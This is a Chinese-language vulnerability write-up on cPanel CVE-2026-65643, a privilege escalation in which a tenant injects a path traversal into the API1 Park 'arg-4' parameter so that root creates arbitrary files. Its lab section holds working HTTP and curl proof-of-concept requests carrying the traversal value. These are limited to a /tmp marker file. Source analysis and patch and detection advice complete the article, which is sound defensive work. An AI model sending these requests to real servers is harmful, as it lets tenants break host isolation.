文章总结: cPanel高危漏洞CVE-2026-65643允许低权限普通用户通过API1Park接口的arg-4参数注入phpfpm_domain,利用内部路径穿越实现以root身份创建任意文件,最终可提权至root并接管宿主机,影响共享主机租户隔离。官方已发布修复版本,建议及时升级至11.138.0.2及以上版本,并限制普通用户的域名停放权限。 综合评分: 88 文章分类: 漏洞分析,代码审计,漏洞预警,安全漏洞,渗透测试
一个域名,撬翻整台服务器:cPanel CVE-2026-65643 深度复盘
原创
网络安全透视镜 网络安全透视镜
网络安全透视镜
2026年8月31日 08:10 中国香港
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
高危漏洞深度复盘
一个域名,撬翻整台服务器
认证后的低权限 cPanel 账号,如何跨过特权边界直达 root?本文用源码对照,把 CVE-2026-65643 的真正注入点、利用边界和修复思路讲清楚。
普通租户账号 → root 创建任意文件 → 宿主机隔离失守
低权限主机账号 → root。不碰网站漏洞,不过 WAF,直击面板内核。 本文基于授权的本地源码对照审计(含漏洞 11.138.0.1 vs 修复版 11.138.0.2),只做原理拆解与防御科普,不提供可直接落地的武器化利用。
一、一句话看懂这个漏洞
2026 年 8 月末,cPanel 官方紧急披露高危漏洞 CVE-2026-65643。
它可怕的地方不在于「又一个 Web 洞」,而在于它绕开了所有人习以为常的防线:
- 攻击者不需要 root,不需要管理员账号;
- 只要一个能添加”停放域名/附加域名”的普通 cPanel 账号;
- 就能让运行在 root 权限下的后台脚本,按自己指定的名字创建文件;
- 最终一路提权到 root,接管整台宿主机。
共享主机上,这意味着一个租户能击穿隔离、控制所有邻居的站点。
二、影响范围
| 项目 | 说明 | | — | — | | CVE 编号 | CVE-2026-65643 | | 危害等级 | 严重 / Critical | | 披露时间 | 2026-08-27 | | 触发条件 | 见下文「三、漏洞利用条件」(认证用户 + 停放/附加域名权限 + 未修复版本) | | 攻击前提 | 不需要 管理员凭据,不需要网站漏洞或复杂前置链 | | 不受影响 | cPanel DNS-Only 纯 DNS 服务器 |
修复版本(低于以下版本均受影响):
11.110.0.141+11.134.0.53+11.136.0.37+11.138.0.2+- WP2
11.138.1.7+
一个关键认知:这个漏洞防火墙拦不住、WAF 拦不住、和你网站程序有没有洞毫无关系。 它发生在 cPanel 的特权边界内部(普通用户代码 → root adminbin),是架构级的信任缺陷。
三、漏洞利用条件
先把「能不能打」说清楚。CVE-2026-65643 不是未授权远程裸打,但也远谈不上“难利用”——共享主机场景下,租户账号几乎是标配前提。
3.1 必须同时满足
| # | 条件 | 说明 |
| — | — | — |
| 1 | 面板版本未修复 | 低于官方修复线:11.110.0.141 / 11.134.0.53 / 11.136.0.37 / 11.138.0.2 / WP2 11.138.1.7 |
| 2 | 不是 DNS-Only | 纯 DNS 角色服务器不受影响;需具备域名停放相关完整功能栈 |
| 3 | 已登录的普通 cPanel 账号 | 需要有效会话(Cookie / Basic Auth / 访问哈希)。不需要 WHM、reseller、root |
| 4 | 账号具备停放/附加域名功能 | parkeddomains 或 addondomains 至少一个开启;Demo Mode 下功能直接拒绝 |
| 5 | 能成功走通 park() 主流程 | arg-0 必须是可通过 is_valid_cpanel_domain() 的合法域名,且该账号有权把它停放上去(实验里常用 arg-6=force=1 降低部分校验干扰) |
| 6 | 走 API1 位置参数通道注入 phpfpm_domain | 最直接入口是 API1 Park/park 的 arg-4;含漏洞版 Park_park 会 park(@_) 原样透传。API2 api2_park 这条把 phpfpm_domain 写死了,不是同款直通枪 |
| 7 | arg-4 满足名字策略 | 非空;不以 . 开头;内部可含 / 与 /../,以便逃出 /var/cpanel/taskqueue/groups/enable_fpm_subqueue |
| 8 | 目标路径此前不存在 | 落盘使用 O_WRONLY\|O_CREAT\|O_EXCL,已存在则创建失败,无法覆盖 |
满足 1–8,即可在授权实验室验证「以 root 创建任意空文件」原语。
3.2 明确不需要什么
-
不需要
网站程序漏洞(SQL 注入、上传、RCE 等)
-
不需要
过业务 WAF / CDN(打的是
2083面板 API,不是站点 80/443 业务面) -
不需要
管理员凭据或提权跳板链的前半段
-
不需要
在「域名」字段里塞
../(那条路被正则拦死,真正可控的是内部参数phpfpm_domain)
3.3 利用门槛怎么评估
| 场景 | 难度 | 解读 | | — | — | — | | 共享主机 / 分销主机租户 | 低 | 攻击者天生就有普通 cPanel 账号 + 停放域名权限 | | 已泄露的主机面板账号 | 低 | 等同租户场景 | | 完全未授权、没有任何面板账号 | 高 / 不可直接打 | 本洞不是匿名 RCE,需要先解决“有一个能登录的 cPanel 用户” | | 已打补丁或 DNS-Only | 不可利用 | 条件 1 或 2 不成立 |
一句话:认证后的低权限面板用户 → root,属于典型的「租户击穿隔离」洞,不是「互联网裸奔扫端口就能收菜」的洞。
3.4 从原语到 Root RCE 的边界
官方已确认:任意文件创建原语可进一步导致 Root RCE。但后半段依赖具体落点与系统状态(且受 O_EXCL、空文件等约束),不属于“发一个 HTTP 包就自动 Root”的单步骤。本文后续 PoC 只覆盖到「root 在 /tmp 创建标记空文件」这一可安全复现的原语层。
四、先纠正网上一个流传很广的错误说法
不少文章把成因描述成:「在域名里塞 ../ 路径穿越,然后往 cron / authorized_keys 里写入自定义后门内容」。
对着源码看,这个说法是错的,两个硬伤:
1)域名里根本塞不进 ../。
Cpanel::Park::park() 里,域名先被正则捕获,再过 is_valid_cpanel_domain():
$domain =~ s/^www\.//g;
$domain =~ tr/A-Z/a-z/;
$domain =~ /([\-a-z\.0-9]*)/i; # 只保留 字母/数字/-/.
$domain = $1;
实测(见文末实验脚本):
in=evil.example/../x captured=evil.example ← 斜杠及之后全被丢弃
in=ok.example;id captured=ok.example ← 分号注入也没戏
2)落盘环节不写”自定义内容”。
真正创建文件的 Cpanel::TaskQueue::SubQueue::Adder::add() 走的是无内容分支:
my $fhmode = O_WRONLY | O_CREAT | O_EXCL;
sysopen( $fh, $path, $fhmode ) or ...; # 只创建"空文件",且不能覆盖已有文件
所以正确的表述是:官方口径的原语是 “以 root 身份创建任意文件”(arbitrary file creation)→ RCE,是文件创建原语,不是内容写入原语。真正可控的也不是域名,而是另一个藏在参数列表里的内部参数。
五、漏洞分析:真正的注入点在第 5 个参数
5.1 被漏出来的”内部参数”
park() 的完整签名是:
park($domain, $topdomain, $disallowdot, $do_ssl_setup, $phpfpm_domain, $ignore_limits, $force)
后三个是内部参数,本应只由进程内受信任代码拼装,绝不该让请求方控制。但含漏洞版本的多个 API 入口把它们原样透传了:
| 入口 | 泄漏的特权参数 |
| — | — |
| API1 Park_park | park(@_) 原样透传,arg-4=phpfpm_domain 直达 |
| API2 api2_park | force |
| API2 api2_addaddondomain | force / ignore_limits / tempdomain |
| ParkAdmin::_local_park | ignore_limit_for_domain_conversion 被提升到 WHOSTMGR 上下文 |
| API1 SubDomain::addsubdomain | @_ 透传出 skip_phpfpm / force 等 |
其中 API1 的 Park_park 最直接:
sub Park_park {
my ( $result, $reason ) = park(@_); # arg-4 phpfpm_domain 原样喂进去
...
}
而 park() 里对 $phpfpm_domain 只判空、不校验字符:
$phpfpm_domain = 0 if !defined $phpfpm_domain; # 就这一句,形同虚设
5.2 从普通用户到 root 的完整链路
[普通用户 API1 请求]
│ arg-4 = phpfpm_domain(任意字符串)
▼
Cpanel::Park::park() ← 不校验 phpfpm_domain
│ adminrun('park','ADD',...,$phpfpm_domain,...)
│ 参数用空格 join,协议: (\d*) (ADD|DEL|DELADDON) (.*)
▼ ★跨越特权边界★
[root] bin/admin/Cpanel/park (park.pl)
│ queue_convert_domain($phpfpm_domain)
▼
Cpanel::PHPFPM::EnableQueue::Adder->add($phpfpm_domain)
▼
Cpanel::TaskQueue::SubQueue::Adder::add()
│ die if index($name,'.')==0 ← 只拦"以 . 开头"
│ $path = _DIR() . "/$name" ← 内部的 / 完全不清理!
▼
sysopen(O_WRONLY|O_CREAT|O_EXCL) ← 以 root 创建空文件
父目录不存在时 → mkdir 0700 ← 以 root 按需建目录
_DIR() = /var/cpanel/taskqueue/groups/enable_fpm_subqueue。
5.3 名字策略的致命细节
add() 只用 index($name,'.')==0 拦「以 . 开头」的名字,对中间的 / 和 /../ 不做任何处理。结果:
- 朴素的
../x→ 以.开头,被die挡住; - 但
x/../../…这种不以.开头、内部含/../的名字能通过检查,最终路径逃出队列目录,被 root 落到攻击者指定的位置。
这就是”以 root 创建任意文件”的由来。至于从”创建文件/目录”到”稳定 RCE”,官方已确认可行,本文不展开可复制的落地姿势。
六、漏洞复现(实验室安全形态)
声明:本节仅面向自有授权实验室(含漏洞版本
11.138.0.1)。PoC 只验证「以 root 创建任意空文件」原语,arg-4只指向/tmp下的标记文件,不给出写入cron/authorized_keys/sudoers等持久化路径的取值,也不给出完整 RCE 利用链。请勿对未授权目标使用。
6.1 实验前置条件
完整利用条件见 第三节。实验室最小集合如下:
| 项 | 要求 |
| — | — |
| 面板版本 | 含漏洞版本,如 11.138.0.1(未打 CVE-2026-65643 补丁) |
| 账号 | 普通 cPanel 账号,具备 Parked Domains / Addon Domains 功能(非 Demo Mode) |
| 域名 | 一个该账号可以成功停放的合法域名(能过 is_valid_cpanel_domain()) |
| 认证 | 该账号的会话 Cookie,或 Basic Auth / 访问哈希 |
| 验证权限 | 能以 root 在宿主机上 ls(确认标记文件是否出现) |
| 注入通道 | API1 Park/park,控制 arg-4($phpfpm_domain) |
注入点回顾:API1 Park / park 的 arg-4($phpfpm_domain)。域名参数本身塞不进 ../,真正可控的是这个内部参数。
路径演算(队列目录 → /tmp):
队列目录 = /var/cpanel/taskqueue/groups/enable_fpm_subqueue
名字策略 = 只拒绝「以 . 开头」,内部 / 与 /../ 不清理
lab 标记名 =
x/../../../../../../tmp/cve_2026_65643_lab_proof
│ └─ 6 个 ../ :先吃掉名字里的 x,再跳出 groups→taskqueue→cpanel→var→/
└─ 前缀 x 让整串「不以 . 开头」,骗过 index($name,'.')==0
最终落盘(root 创建空文件)=
/tmp/cve_2026_65643_lab_proof
注意:
sysopen使用O_EXCL,不能覆盖已存在文件。复现前请确认标记路径尚不存在:test ! -e /tmp/cve_2026_65643_lab_proof。
6.2 HTTP Raw PoC(推荐:会话 Cookie + POST)
登录 cPanel 后,从浏览器开发者工具复制 session / cpsession 等 Cookie,以及 URL 里的 cpsess########## 安全令牌,替换下方占位符。
POST /cpsess##########/json-api/cpanel HTTP/1.1
Host: lab-target.example.com:2083
Cookie: cpsession=USERNAME%3aXXXX%2cXXXX; session=XXXXXXXX
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
Content-Length: 225
cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1
Cookie 与 Basic Auth 二选一即可。上面示例走会话 Cookie;若更习惯口令,把
Cookie行换成:Authorization: Basic <base64(cpanel_user:password)>
参数对照:
| 字段 | 含义 | 实验取值说明 |
| — | — | — |
| cpanel_jsonapi_apiversion | API 版本 | 必须为 1 (位置参数通道;API2 这条链路 phpfpm_domain 被写死) |
| cpanel_jsonapi_module | 模块 | Park |
| cpanel_jsonapi_func | 函数 | park → 进入 Park_park → park(@_) |
| arg-0 | $domain | 合法可停放域名(过域名正则与归属校验) |
| arg-1 | $topdomain | 可空,默认停到主域名 |
| arg-2 | $disallowdot | 0 / 1 |
| arg-3 | $do_ssl_setup | 0 即可 |
| arg-4 | $phpfpm_domain | 注入点 :URL 编码后的穿越名 |
| arg-5 | $ignore_limits | 实验可 0 |
| arg-6 | $force | 实验可 1,降低 DNS/归属校验干扰 |
arg-4 明文与编码:
明文 : x/../../../../../../tmp/cve_2026_65643_lab_proof
编码 : x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof
6.3 等价形态:Basic Auth + GET(方便 curl 一把梭)
适合命令行快速打一遍(同样只写 /tmp 标记):
GET /json-api/cpanel?cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1 HTTP/1.1
Host: lab-target.example.com:2083
Authorization: Basic <base64(cpanel_user:password)>
Accept: application/json
Connection: close
对应 curl(实验室内网自测):
AUTH=$(printf '%s' 'cpanel_user:password' | base64 -w0)
curl -sk \
-H "Authorization: Basic ${AUTH}" \
--get "https://lab-target.example.com:2083/json-api/cpanel" \
--data-urlencode "cpanel_jsonapi_apiversion=1" \
--data-urlencode "cpanel_jsonapi_module=Park" \
--data-urlencode "cpanel_jsonapi_func=park" \
--data-urlencode "arg-0=parkme.lab-target.example.com" \
--data-urlencode "arg-1=" \
--data-urlencode "arg-2=0" \
--data-urlencode "arg-3=0" \
--data-urlencode "arg-4=x/../../../../../../tmp/cve_2026_65643_lab_proof" \
--data-urlencode "arg-5=0" \
--data-urlencode "arg-6=1"
6.4 预期现象与宿主机验证
-
HTTP 层
:停放接口可能返回成功(域名确实被 park),也可能因环境差异返回业务错误——关键看特权侧有没有落盘,不要只看 JSON
result。 -
特权侧
(root):
# 复现前
ls -l /tmp/cve_2026_65643_lab_proof 2>/dev/null || echo 'marker absent (good)'
# 发送 PoC 后
ls -la /tmp/cve_2026_65643_lab_proof
# 预期类似:
# -rw------- 1 root root 0 ... /tmp/cve_2026_65643_lab_proof
# ^^^^ root 拥有、大小为 0 → 「以 root 创建空文件」原语成立
stat -c 'uid=%u user=%U size=%s' /tmp/cve_2026_65643_lab_proof
-
对照修复版
11.138.0.2+:同一请求下,
park()会对phpfpm_domain做validdomainname(),含/的值被归零;Park_park也不再透传 arg-4。标记文件不应再出现。 -
清理
:
rm -f /tmp/cve_2026_65643_lab_proof,并按需取消实验停放域名。
6.5 为什么这不是「写任意内容」
很多人看到 HTTP PoC 会下意识以为能把 webshell 写进文件。源码里 SubQueue::Adder::add() 走的是:
sysopen($fh, $path, O_WRONLY | O_CREAT | O_EXCL); # 只创建,不写 body
所以本 PoC 验证的是 arbitrary file creation as root。从「创建空文件/目录」到稳定 RCE,官方已确认可行,但那属于利用链后半段,本文不展开、不给可复制 payload。
6.6 可离线复现的名字策略验证
没有实验面板时,用下面脚本也能一眼看懂「为什么域名安全、为什么 x/../.. 能逃逸」(纯建模,不落盘):
#!/usr/bin/env perl
use strict; use warnings;
use File::Spec;
my $DIR = File::Spec->catdir(File::Spec->tmpdir(), 'enable_fpm_subqueue_model');
sub adder_accepts { return index($_[0], '.') != 0; }
sub resolved {
my $joined = "$DIR/$_[0]"; my @parts;
for my $p (File::Spec->splitdir($joined)) {
next if !defined $p || $p eq '' || $p eq '.';
if ($p eq '..') { pop @parts if @parts; next; }
push @parts, $p;
}
return '/' . join('/', @parts);
}
printf("%-40s %-9s %-8s %s\n", 'name','accepted','escapes','resolved');
for my $name (
'example.com', '.hidden', '../nope',
'x/../../../../../../tmp/cve_2026_65643_lab_proof',
'sub.example.com'
) {
my $ok = adder_accepts($name) ? 'yes' : 'no';
my $res = resolved($name);
my $esc = ($ok eq 'no') ? 'n/a' : (index($res,$DIR)==0 ? 'no' : 'yes');
printf("%-40s %-9s %-8s %s\n", $name, $ok, $esc, $res);
}
仓库内完整脚本:lab/adder_name_policy.pl(perl lab/adder_name_policy.pl 直接跑)。
七、修复建议
7.1 首要动作:升级
升级到官方修复版本之一:
11.110.0.141+ / 11.134.0.53+ / 11.136.0.37+ / 11.138.0.2+ / WP2 11.138.1.7+
升级后重启相关服务,避免长驻进程仍加载旧代码:
# 视实际环境执行
/scripts/restartsrv_cpsrvd
systemctl restart httpd crond # 服务名以你的系统为准
DNS-Only 服务器不受影响,无需处理。
7.2 官方补丁到底改了什么(值得抄的思路)
核心是在特权边界上把内部参数掐死 + 在 park() 里给 phpfpm_domain 补校验。底层写文件的 SubQueue::Adder 一行没动——修的是”谁能传值进来”,而不是”落盘时再补救”。
-
park():
phpfpm_domain为空或!validdomainname()就归零并记日志。域名标签只允许[a-z0-9-],/和..一律通不过。 -
Park_park(API1):不再
park(@_),改为按名字绑定公开参数,phpfpm_domain/ignore_limits强制undef。 -
api2_park/
api2_addaddondomain:进门先剥离force/tempdomain,再进入真正逻辑。 -
ParkAdmin::_local_park:不再因内部标志把校验器提升到 WHOSTMGR 上下文(那会连带绕过跨用户归属检查),改为只豁免
MAXADDON配额。
7.3 排查是否已被利用
- 日志侧:检索
access_log中停放/附加域名的异常提交,重点看 arg-4 /phpfpm_domain里出现/、..等非域名字符的请求。 - 系统侧:面板类提权后,攻击者更倾向落系统级持久化——重点排查
/etc/cron.d/、/var/spool/cron/、~/.ssh/authorized_keys、可疑新增系统账号、/var/cpanel/taskqueue/groups/下的异常文件。 - 若确认被入侵:优先隔离、取证,再考虑重装系统 + 干净数据恢复 + 全量改密。
7.4 长期启示
CVE-2026-65643 再次暴露了面板类软件的通病:通用功能以最高权限运行、用户输入的信任边界含糊、租户隔离依赖上层应用而非系统底层。对运维而言,面板高危漏洞的杀伤力远大于普通 Web 洞——它直接击穿隔离、直达内核。补丁随发随更,不要抱侥幸心理。
本文为授权环境下的源码对照分析记录,用于防御与安全科普,不含针对未授权目标的可落地攻击载荷。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全透视镜 网络安全透视镜 网络安全透视镜《一个域名,撬翻整台服务器:cPanel CVE-2026-65643 深度复盘》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论